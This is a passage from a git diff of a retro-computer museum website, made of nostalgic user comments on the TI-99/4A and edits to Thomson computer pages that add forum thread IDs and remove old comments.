enough money, and left TI and Lubbock, which were both good to me. - - author: Deathstrike - date: Saturday 3rd September 2016 - text: Ahhh the old tank TI 99/4A. So well built and so underappreciated. It actually plays games well and many of its educational software like Plato and the GROM carts were quite good for their time. If it only weren''t for that infernal PEB. That monstrosity is just a lump on the desk. Shame Custodio Malilong doesn''t make the fabulous microPEB anymore. Such a great device and so small. But if anything, he deserves great recognition for his device and making the TI more useable. - - author: jt august (missouri, usa) - date: Saturday 30th August 2014 - text: The TI-99/4a was a follow up to the TI-99/4, which is missing from the museum. The machine was at its time the most powerful on the market, at 16-bits and screaming fast, but TI mandated that everything developed for it had to go through the GPL interpreter, which slowed program flow to start with. But the BASIC interpreter was written in GPL, so it was double interpreted, making it the slowest executing BASIC ever released. And TI sought to keep all software release in house, which proved to be a horrible business model, as has been seen more than once over the years. - - author: jt august (missouri, usa) - date: Saturday 30th August 2014 - text: The TI-99/4a was a follow up to the TI-99/4, which is missing from the museum. The machine was at its time the most powerful on the market, at 16-bits and screaming fast, but TI mandated that everything developed for it had to go through the GPL interpreter, which slowed program flow to start with. But the BASIC interpreter was written in GPL, so it was double interpreted, making it the slowest executing BASIC ever released. And TI sought to keep all software release in house, which proved to be a horrible business model, as has been seen more than once over the years. - - author: Mark (USA) - date: Friday 18th July 2014 - text: |- - There''''s an interesting site about TMS99xx stuff : - - http://www.avjd51.dsl.pipex.com/ - - Has quite a lot of stuff on the TI TMS9900/TMS9995 hardware including a breadboard self-build computer based on the TMS9995 - - Well worth a look ! - - author: Kelly Roach (United States) - date: Sunday 9th February 2014 - text: |- - Like Jim O., I enjoyed countless hours programming (mainly for the speech synthesizer) and playing what few games my friends and I shared. - - What hasn''t been mentioned here is that, due to the motherboard''s unusual design, you could not place these machines on a metallic surface during operation. This would cause components to misbehave and overheat due to induction currents in a few of the coils. - - Still, despite its crippled design, it was a fun computer to use. - - author: frank (us) - date: Monday 30th July 2012 - text: http://montreal.kijiji.ca/c-acheter-et-vendre-ordinateurs-Texas-Instruments-Computer-99-8-W0QQAdIdZ400504807 - - author: Jim Odell (Windsor, Ontario) - date: Friday 27th July 2012 - text: |- - This was the first 16 bit home computer and had unparalleled speech capability for the time but TI crippled the rest of the machine rather than take advantage.\ - For instance could you imagine any computer company today selling a unit with zero main memory, the CPU running only off of the GPU''s vram? That''s pretty much how TI did this thing. - - Nevertheless I got countless hours (days, weeks, months?) of enjoyment out of this machine, mostly from programming or program mods, hours of Parsec, and exploring the bounds of the Speech Synthesizer and Terminal Emulator cartridge. - - author: Paul Mason - date: Monday 26th March 2012 - text: I had one when I was a teen. We had both the 99 and the 994a. Also had the expansion box with 32k of ram. I wrote asteroids in assembler on it. Had to do my own movement processing of the sprites since I needed the ram space the sprite table used. Kind of liked the processor. You could designate any 32 bytes for a 16 register array. Most operations were direct memory to memory. Slow machine but that was due to the gimped architecture which there was no excuse for other than TI didn''t want people using the thing for general computing. - - author: Dan Cochran (Leesport, PA) - date: Thursday 14th July 2011 - text: |- - I still have a TI-99/4A in my closet, along with the Peripheral Expansion Box which contains a 32K card, an RS232 interface, a disk controller and floppy drive. I also have an external floppy, a Solid State Speech Synthesizer, and a TI-99/4 Impact Printer which is a modified Epson MX-80. The whole shebang has been sitting in that closet since ''96 when I got an AST PC. Maybe it works, maybe not, but I got endless hours of entertainment from the cartridge and disk software that I bought for it. Somewhere along the way, I remember buying a replacement keyboard from Radio Shack. The new keyboard was the off-white version.\ - Memories, memories... - - author: Ben (USA) - date: Tuesday 28th June 2011 - text: This was the first computer my family used. We had a small attached sound verbalizer attachment that went to the side of it which could be purchased. It made a computer voice type sound and was used with educational software for me. - - author: Paul Yorke (United States) - date: Thursday 23rd June 2011 - text: |- - Similar story, got very involved in Ti-Basic, wrote lots of games and utilities. Even a simple word processor. It also changed my life. I am now an applications developer. Anybody in Florida want my old consoles? - - Paul\ - php mysql\ - Oracle APEX - - author: Tyler (United States) - date: Saturday 9th April 2011 - text: this is just the keyboard - - author: Tyler (United States) - date: Saturday 9th April 2011 - text: i found one of these in my closet in perfect condition and i was wondering what it was worth if someone knows please email me at ponzio247@gmail.com - - author: Ugo Capeto - date: Thursday 4th November 2010 - text: yesh, the ti-99 was the bees knees until the Commodore 64 and sinclair spectrum came out. After that, it went down the tube. - - author: pippomatto (roma) - date: Friday 20th August 2010 - text: |- - sito veramente bello ottimo :-)\ - by http://www.computerbit.net - - author: Roy (USA) - date: Wednesday 21st July 2010 - text: |- - Up until a few years ago I had a prototype for the TI99-4a computer.\ - I worked with someone in Maryland whose friend was on the R$D team. I wrote some programs and sold them on tape at Software City stores.\ - He gave the prototype. - - author: Triphazard (UK) - date: Thursday 1st January 2009 - text: |- - I sold loads of these while working for Dixons. Technically superb and very reliable but doomed along all others by default. - - Parsec was a great cartridge, though... - - author: Stephen Boutillette (USA) - date: Sunday 13rd April 2008 - text: |- - One item of note is that the bus architecture for the Peripheral Expansion box (PE) was the basis for the NuBus used in the later Macintosh computers. - - I used my TI for years (from '83 until some time in the early 90's) even after getting Apple II's and PC Clones. I still run an emulator to show my kids some of the games and applications I wrote for my self. - - author: Bob Antony (USA) - date: Friday 1st June 2007 - text: I bought one of these 99 4A units from JC Penney's for $400 around Christmas 81 or so. Several months later, the Commodore 64 came out and, frankly, I was tired of poking in programs from the magazines - especially the machine language ones that you could not really troubleshoot. They either worked or they didn't. When the C64 came out, the price on the TI dropped way down, but I decided to try to send it back to Penney's. They took it back and crediitted my fully!! - - author: Duncan Layne (USA) - date: Wednesday 9th May 2007 - text: |- - Processor not connected to RAM ! - - I bought one of these in about 1983 after watching the price drop from about £700 (including an NTSC colour monitor as a PAL modulator wasn’t available at that time) to £60 (including an external modulator box). At that point more popular computers like the Commodore 64 were well over twice that, although Commodore had made their own mistakes such as the Plus 4 which was available for about the same price as the TI99/4A - - The big problem with the stock TI99/4A was that the processor wasn’t connected to the RAM ! Instead all RAM access had to be done through the Video controller. This meant that while TIs own cartridge based games ran smoothly, any third party games, which had to be loaded from tape, ran incredibly slowly. I bought a TI99/4A version of the classic text based Star Trek game and the characters words appeared slower on the screen than they did on the teletypes at College. - - An extra RAM board was available from TI but I seem to remember that it had to be fitted in some sort of expansion frame and together they would have cost many times what I had paid for the computer. After just six months I had had enough and sold the TI99/4A for£30 and bought a Toshiba HX10. Interestingly this used the same video chip, but with separate program memory and video memory was vastly superior. - - author: Chris B (Michigan) - date: Monday 19th March 2007 - text: I saw a couple of these displaying interactive science game programs at the museum of scinece and industry in Chicago. They were linked to a button press type interface, it's good to see these have some use after 20 odd years - - author: Anders Persson (Traryd, Sweden) - date: Tuesday 11th April 2006 - text: |- - The TI 99/4A was my first computer as well. I quickly acquired the p-code card, so that I could use Pascal at home too, not only at university.\ - My interest for this machine turned into the system itself. That resulted in building a real-time clock and an I/O-card, with both digital and analog I/O. I also made an analog joystick for the machine.\ - The disk controller got replaced with a CorComp, which had four 360 K drives connected to it. I made a secondary expansion box for the two extra drives.\ - I also made a 64 K memory expansion, installed inside the console. It could be paged in in 8 K pages, to give the machine 64 K contigous RAM, if desired. This memory is on a 16-bit bus, thus allowing a 110% performance increase for the computer, compared to all 8-bit RAM being used.\ - I modified the p-system to support true multi-tasking, as well as bitmapped graphics, thus making the turtle graphics possible for Pascal in the 99/4A. - - Unfortunately, there weren't that many Pascal users at hand, since the cost for that system was pretty high. - - About the comments for the 4-bit bus below: The machine was originally intended for a processor with an 8-bit data bus, TMS 9940. But that wasn't available in time, so they had to adapt the 16-bit wide TMS 9900 to an 8-bit data path. Hence this construct was a quick fix to get the computer out, not a design target. - - author: Alan Beard (Franklin, MA) - date: Monday 27th February 2006 - text: |- - In the 1980's I picked up a ti-99/4a from a manager at work. I grew fascinated by two things, the 16 bit processor in the TI-99 and also how slow it was! I started my own company, LGMA Products, and produced a FORTRAN compiler for the TI-99. My first computer show I was introduced to the MYARC Geneve, and grew fascinated with that device, so I ported the 99 FORTRAN compiler to that. It really had some performance. Later I grew interested in C, and Ron Lepine, who was the ti-99 sysop on BIX (Byte Information Excchange) passed along the source code for an assembler written by a professor in Arizona. Modified it heavily to produce compatible ti-99 loader formats, and then went on to port a 68000 assembler to the TI-99 (it was called "Big-C"). The Small C guy in Canada helped me a lot, and a person in Buffalo, NY called Elmer Clausen helped me so much with the trig functions in FORTRAN. - - All in all sold about 1,000 of these FORTRAN compilers, and people would send me programs that were written with it. Asgard computing actually released a few games written in FORTRAN that were advertised as "assembly programs". - - I attended various computer faires, it really was useful to my career as it forced me to learn all aspects of a business (which is really why I did it). It certainly was not a profitable venture, I estimate I worked for about 1 cent per hour on the whole project, but the final result was very rewarding and the project helped me manage large projects, and I became a better indvidual and employee of my company as a result. I also made friends world-wide with many individuals, some of whom I stay in contact with to this day. - - It was a shame the TI-99 was shut down when it did, the 16 bit assembly code was really a joy to use. There was so much after-market interest in the product and a lot of good friends were made. - - BTW.. for those who might be interested, LGMA Products was the name of my company. LGMA stood for "Little Green Men Associates", which was based on a science article by Isaac Asimov regarding pulsars, which were originally thought to be possibly generated by alien intelligence or "LGM" little green men. - - My wife and children were very supportive when I did all this work. It was really something looking back thinking I did all that with two 96k floppy disk drives, the Editor/Assembler, a very slow dot matrix printer that I built myself from a HeathKit (remember them)? The manual was prepared with TI-Writer, printed on a slow daisy wheel printer, and I received many compliments on it. - - Some subsequent projects for the Geneve included a windowing system based in part on Berry Miller's windows, and a mouse driver from Bruce Hellstrom. - - My other passions were an Amiga (what a machine) and in 90's power book Apple. Now I am a lowely PC dell user, it was much more exciting in the old days! - - author: Lynn Parks (Seattle, Washington) - date: Sunday 11th September 2005 - text: First time I've been here, so here goes. I bought my TI-99/4A in 1980. I used it for a couple of years until I got shipped to Saudi Arabia. Put it in storage and there it has remained until 9/6/05 when I bought out the box with the computer in it and the PEB, all my games, etc. The feeling of ecstacy I had at seeing it again was incredible. All the memories of wriitng my first program in x-basic, the voice emulator. The PEB with a whopping 32K expansion module which brought me up to a grand total of 48K! Well kids, here it comes. I got everything out and set up and hooked up and when I turned on the power, the computer came up with the standard message on the screen of "Press any key to continue". In anticipation I pressed "any" key. Nothing happened. I pressed another key. Nothing happened. Now, the question poses itself to me. Since I am getting the standard message, why is nothing happening? Could it be that 25 years in storage could have caused the BIOS chip to lose its memory - and therefore no longer know what to do when a key is pushed? Or, could it be that the keyboard is just no good? But how could that be? A keyboard is just a bunch of Hall Effect switches that have no moving parts. So now I am in a bit of a conundrum. Ask for help from one of you oldies like me.(aaarrrgh the pain of it) or just go look for another system for sale. If any of you have any ideas, please feel free to email me at lynnparks1949@yahoo.com It will be greatly appreciated. - - author: Cheryl Phillips (Baltimore, MD) - date: Wednesday 3rd August 2005 - text: My father wrote many a program for the TI-99/4A, so naturally I grew up using it. In fact, I think I'm still afraid of the wumpus. ^\_^ We still have plenty of my father's games and utilities lying around (the ones that were actually copyrighted and marketed, anyway) and I'm dying for the day when I can find one with everything I need to play them again. - - author: ERIC BRAY ( ) - date: Tuesday 2nd August 2005 - text: |- - Win99/4A version 3.004 - For those of you that have packed their actual TI 99/4A & GENEVE 9640 away, Cory Burr recently wrote Win99/4A version 3.004, an EXCELLENT and superior simulator of the TI 99/4A with full speech capabilities, sound capabilities, and very good module compatibility. You can now get back to writing programs in TI Extended Basic, using the Super Cartridge, using the Mini Memory Cartridge, utilizing the 'Funnel Web' quasi operating system, and using the good educational modules again for your nieces, nephews, and other children; all of this now on the PC. Just go to on the http address below. It will take you directly to where the file is located and can be downloaded: http://www.99er.net/download/details.php?file=87 Over 200 Cartridges (Modules) in file format are available for download for Win994a. Just go to on the http address below. It will take you directly to where the files are located and can be downloaded:\ - http://www.99er.net/download/files.php?cat=15\ - Download and uncompress the cartridge(s) item. This may take a little while since the file is roughly 27meg. Uncompress the contents of this file into the "carts" directory under the "Win994a" folder of your hard disk. This will make all 200+ carts available to Win994a next time you start it up. Enjoy. Try it!\ - The site listed below has PC archives of “almost” every PC99 version \[a commercial emulator\] of all the good TI99/4A programs known to mankind!\ - Just download the archives and run them at your leisure. You can then convert the .DSK \[the commercial format\] to .V9 \[the freeware standard format\] files with the PC992V9 program available for download at:\ - ftp://ftp.whtech.com/v9t9/Convert%2...ks%20to%20V9T9/ then rename .V9 \[the freeware standard format\] files to .TIDisk \[the Win994a file format suffix\] files from the command prompt in DOS.\ - ftp://ftp.whtech.com/pc99/archives/ - - author: Bruce McIntosh (Vancouver Island Canada) - date: Monday 13rd June 2005 - text: I got my 99/4A in 1981. It changed my life. Learning X-BASIC literally propelled me into the future. I bought every book I could find and used them till they were in shreds. I loved the speech synthesizer and got quite good at incorporating it into little music pieces. I got the assembly language module and things really started heating up. I still remember a quarter century later the first time I got a hex subroutine to work. I remember that little stainless box like it was my first teddy bear, I even remember how it smelled. - - author: Max (Virginia (USA)) - date: Tuesday 1st February 2005 - text: Man oh man, this was the first computer I learned how to program in BASIC. I really took it seriously. I must have made well over 20 games; most of them being my version of other game and a few my own creations. The fact that the computer was slow made one learn how to develop programming techniques that were fast and small. This later proved to be of value as I later progressed to other computer systems. I loved my TI. I still have the old cassette tapes with the programs on them \~ about over 10 of them; its hard to trash them even though I don't use the TI any more. Any TI game programmers out there? It hit me one day when on my PC; "Todays computers don't come with a programming language so you can create something quick to do what you need!?!" I miss those days. - - author: Sometimes (Denmark) - date: Saturday 29th January 2005 - text: |- - 16 bit processor with a 4 bit bus. Somebody at TI should have been shot! - - I believe it was an 8 bit bus ... - - author: Alan Goodwin (UK) - date: Tuesday 7th September 2004 - text: |- - Good to see this piece of home computing history hasn't been forgotten. I started BASIC programming on one of these when they first came out in the UK. - - The one feature which I've never forgotten was that the joystick wouldn't register an "up" command when the caps lock was on. I sent back 4 of the buggers (or rather my increasingly red-faced and impatient father did on my behalf, as I was about 12 at the time) before we noticed the corelation. The support staff at TI and the dealers/retailers didn't have the first clue about this little quirk, however. They probably had thousands of perfectly good joysticks shipped back to them and replaced at great expense before they dropped the system like a stone. Pity. - - author: Ian Sokoliwski (Winnipeg, Manitoba, Canada) - date: Friday 13rd August 2004 - text: |- - I got this machine for Christmas in '81 when I was 11, and I used it incessantly. My uncle had written a few programs for it (saved to cassette), and I remember my parents swiping the machine periodically when they had friends over so they could play this horse-racing game he had programmed. - - One odd thing I recall was, if you put a regular audio cassette into the cassette player hooked up to it, you could then play the cassette with the sound coming out of the tv speakers! Hey, for me this was high-quality sound reproduction :) - - I did a lot of varied programming with it, but mostly creating my own text-adventure games with it. I knew I had to upgrade when, after sitting and typing for no more than an hour creating one of these games, I ran out of memory :( - - author: Los (San Francisco, Ca.) - date: Thursday 12th August 2004 - text: Man did my sister and I play some games on that thing... we played and played... until the weeee hours of the morning. I beat hunt the wompus! Forget Atari, this thing rocked, and no one else on the block had one. I think my dad tried to teach us basic on it but we laughed at him... and asked him to pop in a game cartrige. - - author: Pedro (Argentina) - date: Wednesday 11th August 2004 - text: I new this computer in 1987. It was the computer used in my secondary school to teach basic. It may be because they were already a little old but I got a very bad impression from them, they had a lot of features but they were so complicated to use that it was as if they did not have them , the basic was incredible slow, and the harware was unstable (just an small unwanted kick on one of the computer´s table legs and the system hanged). I also remember the function+= problem, I reseted the computer many times when trying to type a "+". The requirement of cartridges was also not practical, one for the basic, one to operate the disc, one... I was really much more satisfied with the CBM 128 I had at home, eventhoug this was a "slower" 8bit computer. - - author: Chris (USA) - date: Friday 6th August 2004 - text: |- - I had a 99/4A as a kid and spent many hours fiddling with it. At the time, it seemed people either had an Apple or a TI as their home computer. I remember many "debates" about which was better - Apples or TIs. One particularly novel difference was that TIs actually had different graphical representations for capitol O's and zeroes while Apples used the same graphics for both.\ - We eventaully got the Disk Expansion Unit, a big box with a 5 1/4" floppy drive and several expansion slots. We also go a RAM expansion card - all expansion cards were fully encased in plastic and slid down into bus slots. It was all very well designed and looked like something out of 2001 Space Odyssey :)\ - The most impressive thing I remember, though, was the speech synthesizer used with the game Parsec. Whenver I saw a TI 99/4A demo, that's what they showed. And it was REALLY cool at the time.\ - We eventually sold it at a yard sale (a few years after we got our first IBM PC compatible). - - author: Ed Dombrowski (Irvine, CA) - date: Tuesday 20th July 2004 - text: My dad waited outside in the rain for two hours to get one of the last of these. It's where I learned BASIC. Almost 20 years later, I'm taking BASIC in Computer Science and acing it due to this computer which I used to program when I was 11... - - author: W. Hitchings (Colorado Springs, CO) - date: Tuesday 4th May 2004 - text: I was a TI employee in Dallas, TX when the 99/4A was a hit. I spent huge dollars purchasing the console and all the expansion modules (remember the expansion box with the firehose connector?) by having Employee Sales deduct the payments from my paycheck. I remember paying something like $300 for a 32K metal-encased memory card for the thing. What killed this computer was that TI was selling the consoles at a loss, hoping to make it up in cartridge software sales. The Commodore 64 had an open architecture that let third-party vendors sell software for the thing- that killed the 99/4A in my opinion. I did like the Extended basic and Multiplan software, however... - - author: TREVOR STEVENS (Mansfield UK) - date: Monday 10th November 2003 - text: |- - The Texas Instruments User Group UK is STILL in exsistance after 20years.\ - Why not join us at http://tiug.mansfield-notts.co.uk\ - We have hardware and software for sale plus support and workshops. (ie 30 november 2003 NEC) - - author: Jason M Hirst (Swansea, Wales, UK) - date: Thursday 23rd October 2003 - text: |- - This was my first ever computer way back in 1982. I didn't have a tape recorder for a year, so spent days typing in small programs, playing them, then having to lose them all when I turned the PC off. - - 1 year later I got the speech synthesiser and Parsec and Alpine Climber (if that's what it was called) and Extended Basic. - - I still have this computer, boxed, with all the software, manuals and stuff. - - Without this little baby, I'd never have got into programming. - - Jason M. Hirst\ - .Net Software Developer - - author: Diego Marenco (Costa Rica) - date: Monday 1st September 2003 - text: |- - This was my first computer back in 1985, it was a gift from my grandpa. I loved the noise when you turn it on. It was great..\ - It came with a big book and lots of proggraming examples, noises, weird things that you can do with this great computer. We had chess, and munchman.\ - I still have the main TI-99, but not sure if it works. I´ll try today to turn it on. - - author: North 99er (Canada) - date: Monday 10th March 2003 - text: 'ti owner (IL): if you are wondering about making a video cable for the TI, have a look here: http://web.infoave.net/\~compdr/videocable/video.htm. You can find DIN5 plugs (male) on older PC keyboards.' - - author: Maurice (Birmingham, U.K.) (Birmingham U.K.) - date: Friday 10th January 2003 - text: This fabulous computer was way ahead of its time, with a full-sized QUERTY keyboard, with proper keystroke "feel". I was a member of the TIUG of the UK,and I eventually became the custodian of the software library for the User's Group. If anyone wants to contact me, I shall be only too glad to reply. It was most disappointing when Texas withdrew its backing for the TI99/4A, in the early 80's. - - author: Brian Ingram (Atlanta, GA) - date: Tuesday 15th October 2002 - text: |- - This computer was one of my first experiences with computing. It was our first home computer when I was a child and from the age of seven, I have never forgotten this machine. My dad liked it so much at the time that over the course of a few years he had bought three or four of the machines. He sold at least two of them in garage sales but I know he still has at least one in storage that could very well be operational. - - Everything about the thing, from the start-up screen, to the voice modulator, to the joy-sticks, to the games and educational software I grew up on, the little TI that could was and shall remain a supreme classic. - - author: Chris (Maine) - date: Monday 19th August 2002 - text: This was our very first computer. We had a voice synthesizer, extended basic and many other programs. My son was writing programs for this when he ws 8 or 9 years old. Both of my sons used this a great deal (Mom too) My elder son is now pursuing a career in computers (IT) and my younger son still has the TI-99. Not sure if it still works . We picked up another, plus some additional equipment at a yard sale some years ago, with all of it, I'm sure it could be made functional. Our next computer , some years later , was an Amiga 1000 - - author: Dan Goodale (Earth) - date: Tuesday 23rd July 2002 - text: Graphics wise, this machine was way ahead of it's time. The video processor chip supported up to 32 hardware controlled sprites. The programmer defined shape, direction, speed and layer. The processor handled the rest. This made game prgramming VERY easy on the Ti-994A. - - author: B.J. Rowan (Florida, USA) - date: Monday 17th June 2002 - text: It all started with a TI-99/4A demo unit at a JC Penney's in 1982. I was 2 years old and instantly became infatuated with this machine. My parents bought one for $229 that Christmas, as well as the speech synth unit (my mom thought it was "creepy") and a load of modules. The TI-99 taught me how to write BASIC programs around the same time it was teaching me basic grammar. It was one of the earliest catalysts of creativity in my life. It was the stepping stone to the world of computers, in which I now make my living at the age of 22. I lost my TI-99 in 1986 when my parents auctioned it off and bought an IBM XT, but I plan to acquire another one. Foolish sentimentalism I suppose. So be it! The TI-99 was a fantastic machine, to which I owe much of my success today. - - author: Robert (Manchester (UK)) - date: Wednesday 12th June 2002 - text: 16 bit processor with a 4 bit bus. Somebody at TI should have been shot! - - author: Michel Tremblay (Montreal, Qc.) - date: Tuesday 28th May 2002 - text: I still have my TI-994A with expansion box, monitor, but no vocal synthesizer or acoustic coupler. It's been a long time since I fired it up to play a few text adventures.... Have the 32 kb expansion card and the 90 kb floppy drive. It was a great unit... - - author: H. C. Gibson (Florence, AL) - date: Wednesday 6th March 2002 - text: My first home computer was a TI99 4A. You had to hook it up to your TV to have a monitor. I learned to program in Basic using it. I think it was in the 80's, can't remember for sure. The first computer I worked on (programmed) at work was a Bendix G-15 which is in the Smithzonian Musem in D.C. Of course I am retired now (have been for 6 yrs.) from a Computer career (mostly mainframes). I have had several desktop computers since the TI99. - - author: Isaac Johnson (Minneapolis, MN, USA) - date: Tuesday 5th March 2002 - text: I can recall years of joy programming on this in elementary school and junior high. Perhaps the coolest thing about this machine was easy to program sound. We used to write all sorts of cool 'techno' music and add it to sprite based mini animations. nostalga time - - author: Andrw Bolton (London) - date: Tuesday 5th March 2002 - text: 'A great little machine in it''s idiosyncratic way. i had the extended basic cartridge, and it was one of the best basics on a micro - with fortran like subroutines. And the hardware sprites were great fun to play with. Also the ‘mini memory’ could store programs without the hassle of loading and saving to tape. Finally the 16 bit processor: 9900 machine language with its registers in memory and ‘branch and load workspace pointer’ was so much more sophisticated than the hodge podge of the z80 command set, so common in machines like the Spectrum. Such a shame Texas couldn’t market the thing...' - - author: Fabrice Montupet (France) - date: Monday 18th February 2002 - text: |- - Hi! It was my first computer too! in 1982 :) During all these years, I have never forgot it: it stays preciously near me in my desk. In 1999, I decided to make a homage to this computer and I created the web site: TI-99 Forever! where also can be found informations about the TI-99/4, TI-99/2, TI-99/8, Geneve9640 , CC-40 and others...\ - To make my site even more complete\ - , I search all things about the TI-99 family computers (disks, tapes, cartridges, manuals, books, magazines, expansion card, accessories,... ALL !) I have some items to exchange (about 80 cartridges and books) - - author: Rick (South Wales, UK) - date: Thursday 31st January 2002 - text: My very first home computer. I recently rediscovered it through the MESS emulator and have got the retro computing bug! If anyone in the UK has any old TI related hardware, books, software, mags, etc.. please get in touch as I'm looking for stuff to collect. - - author: Domenic S. (Asia) - date: Friday 25th January 2002 - text: The TI99/4A. My very first personal computer. I was five. I remember programming this computer and getting it to play music through basic. I will always remember Parsec, TI Invaders, Chisholm Trail, other games for this computer, and the slew of educational software, all of which and including the computer my grandfather got for me. Any more of this and I'll shed a tear. related: - /museum/texas-instruments-computer-99-8 - /museum/texas-instruments-ti-99-2 diff --git a/content/museum/texet-tx-8000.md b/content/museum/texet-tx-8000.md index 18ac1981..c291a459 100644 --- a/content/museum/texet-tx-8000.md +++ b/content/museum/texet-tx-8000.md @@ -71,6 +71,7 @@ params: - emulators - links - docs + forum_thread: 1083 hardware: - title: LASER 16K RAM EXPANSION subtitle: '' diff --git a/content/museum/thomson-jv1t.md b/content/museum/thomson-jv1t.md index d21e199c..0aa25c65 100644 --- a/content/museum/thomson-jv1t.md +++ b/content/museum/thomson-jv1t.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 1070 photos: - title: BOX subtitle: '' diff --git a/content/museum/thomson-micromega-32.md b/content/museum/thomson-micromega-32.md index 76200b6e..51ee5b37 100644 --- a/content/museum/thomson-micromega-32.md +++ b/content/museum/thomson-micromega-32.md @@ -62,22 +62,12 @@ params: value: Unknown tabs: - photos + forum_thread: 104 photos: - title: ANOTHER PICTURE subtitle: '' text: '' image: /media/museum/photos/thomson_micromega32_1.jpg - comments: - - author: Grosminet (France) - date: Wednesday 2nd May 2007 - text: |- - I worked on this computer in the 80s in a french government ministry where it was used for word processing and custom applications based on the Informix database.\ - French ambassies either had Micromegas (for large ones) or Bull PC clones (for the small ones) that would enable them to run the software we wrote based on the Informix database, as this RDBMS was available on Unix (Micromega) and MS-DOS (Bull Micral 30).\ - That was portability and was not so frequent by these days.\ - The Micromegas worked well, even if made of low quality plastic case. It used a very old version of Unix, "version 7" (v7 came before System III, the ancestor of System V, the first "modern" Unix). The Operating System would display "Thomson Micromega" but having a deeper look at system files, you would find many comments with "Fortune systems". - - author: Brian Bagnall (Canada) - date: Saturday 5th April 2003 - text: Does anyone know if this is the same Thomson company that supplies Microsoft with XBox CD ROM Drives? oc_id: 89 source: url: https://web.archive.org/web/20230608083154/http://www.old-computers.com/museum/computer.asp?c=89 diff --git a/content/museum/thomson-mo-5.md b/content/museum/thomson-mo-5.md index 855d532e..4eeb68f4 100644 --- a/content/museum/thomson-mo-5.md +++ b/content/museum/thomson-mo-5.md @@ -17,6 +17,7 @@ params: - emulators - links - videos + forum_thread: 33 photos: - title: MO5 - RUBBER KEYBOARD subtitle: '' @@ -464,10 +465,6 @@ params: - title: MO5 french TV commercial url: https://www.youtube.com/watch?v=HPr7NeqMobc text: 'Length: 31 s' - comments: - - author: Ralf Schmid (Germany) - date: Thursday 17th July 2014 - text: Ive got two of Games for the MO5. Its Categoric and Flipper. I want to buy this. Please help me. related: - /museum/olivetti-prodest-pc-128 - /museum/thomson-mo-6 diff --git a/content/museum/thomson-mo-6.md b/content/museum/thomson-mo-6.md index f4b63b81..bd1ba8fa 100644 --- a/content/museum/thomson-mo-6.md +++ b/content/museum/thomson-mo-6.md @@ -71,6 +71,7 @@ params: - emulators - links - videos + forum_thread: 178 photos: - title: MAINBOARD subtitle: '' diff --git a/content/museum/thomson-mo5-e.md b/content/museum/thomson-mo5-e.md index ecd959fe..403f49a4 100644 --- a/content/museum/thomson-mo5-e.md +++ b/content/museum/thomson-mo5-e.md @@ -63,6 +63,7 @@ params: - emulators - links - videos + forum_thread: 819 photos: - title: MO5E subtitle: '' @@ -195,10 +196,6 @@ params: - title: MO5 french TV commercial url: https://www.youtube.com/watch?v=HPr7NeqMobc text: 'Length: 31 s' - comments: - - author: Alejandro Corral (Granada) - date: Thursday 20th March 2003 - text: Hello... That computer was sold on Spain too, I remember my cousin to buy one on Madrid, with a few games... I have it now with cassete. related: - /museum/olivetti-prodest-pc-128 - /museum/thomson-mo-5 diff --git a/content/museum/thomson-mo5-nr.md b/content/museum/thomson-mo5-nr.md index d044e32e..acb89af2 100644 --- a/content/museum/thomson-mo5-nr.md +++ b/content/museum/thomson-mo5-nr.md @@ -14,6 +14,7 @@ params: - emulators - links - videos + forum_thread: 849 photos: - title: MO5 NR subtitle: '' diff --git a/content/museum/thomson-to-7-70.md b/content/museum/thomson-to-7-70.md index 8cf44b54..22a966b3 100644 --- a/content/museum/thomson-to-7-70.md +++ b/content/museum/thomson-to-7-70.md @@ -16,6 +16,7 @@ params: - emulators - links - videos + forum_thread: 629 photos: - title: TO-7/70 subtitle: '' @@ -300,14 +301,6 @@ params: - title: MO5 french TV commercial url: https://www.youtube.com/watch?v=HPr7NeqMobc text: 'Length: 31 s' - comments: - - author: AndiP - date: Sunday 15th May 2011 - text: |- - Hello,\ - I search the manuals for the TO7-70 to download in german or english. - - Thanks Andreas related: - /museum/olivetti-prodest-pc-128 - /museum/thomson-mo-5 diff --git a/content/museum/thomson-to-7.md b/content/museum/thomson-to-7.md index b5762556..ce1a1821 100644 --- a/content/museum/thomson-to-7.md +++ b/content/museum/thomson-to-7.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 32 photos: - title: THOMSON TO-7 subtitle: '' @@ -469,27 +470,6 @@ params: - title: MO5 french TV commercial url: https://www.youtube.com/watch?v=HPr7NeqMobc text: 'Length: 31 s' - comments: - - author: Fred (Dunkerque) (France) - date: Wednesday 26th January 2022 - text: 'First computer was a TO7-70, while 11yo. Fond memories from programming with the basic language from Microsoft. The machine was limited especially in color rendering: you could only have 2 colors per horizontal line of 8 pixels: one front and one back color. If you wanted to display a kind of 3D model with colors... you could not without horrible aliasing effects. The optical pen was also a "shocker". You''''d regularly receive electrostatic shocks because the TV screen was electrostatically charged, and the pen had a metallic body. Sweaty fingers beware. The K7 recorder was... temperamental. The reading heads could move (heat) and make recordings not readable (infamous I/O error). You''''d have to fiddle with a small srewdriver to adjust the reading head. The short summers of Dunkirk can be hot at times, and this machine was heating the bedroom pretty badly. Discovered lots of maths, years before school: Coordinates, binary and hex system, trigonometry, and the then unfathomable - maths of an Earth to Moon trip trajectory simulation, all from a few example programs from a book. This undoubtedly contributed to me becoming an IT professional.' - - author: Denis (Boulogne France) - date: Tuesday 20th December 2011 - text: |- - Hi everybody, - - My first computer too, I had the K7 player to save and run softwares, it was so easy to copy games with that ...\ - To7 is really great memories for me ... - - author: Serge (FRANCE) - date: Thursday 24th November 2011 - text: 'There was also somes ohter languages availiables on Memo 7 cadriges such as : asm6809 (a 6809 compiler with a small editor), forth and more...' - - author: Etienne (NANCY-FRANCE) - date: Saturday 11th August 2007 - text: |- - Hello !\ - The TO7 was my first computer in 1983 (I was 12), and I think it was a good computer to learn programming and to make some interesting programs using the light pen.\ - I've bought the Assembler Cartridge to program in Assembler. It was very hard, but very pleasant once you have understood assembler programming !!! related: - /museum/olivetti-prodest-pc-128 - /museum/thomson-mo-5 diff --git a/content/museum/thomson-to-8-to-8d.md b/content/museum/thomson-to-8-to-8d.md index 67c3bcae..48081dbf 100644 --- a/content/museum/thomson-to-8-to-8d.md +++ b/content/museum/thomson-to-8-to-8d.md @@ -61,6 +61,7 @@ params: - emulators - links - videos + forum_thread: 248 photos: - title: TO 8 subtitle: '' diff --git a/content/museum/thomson-to-9-plus.md b/content/museum/thomson-to-9-plus.md index 3a400041..c8570244 100644 --- a/content/museum/thomson-to-9-plus.md +++ b/content/museum/thomson-to-9-plus.md @@ -51,6 +51,7 @@ params: - emulators - links - videos + 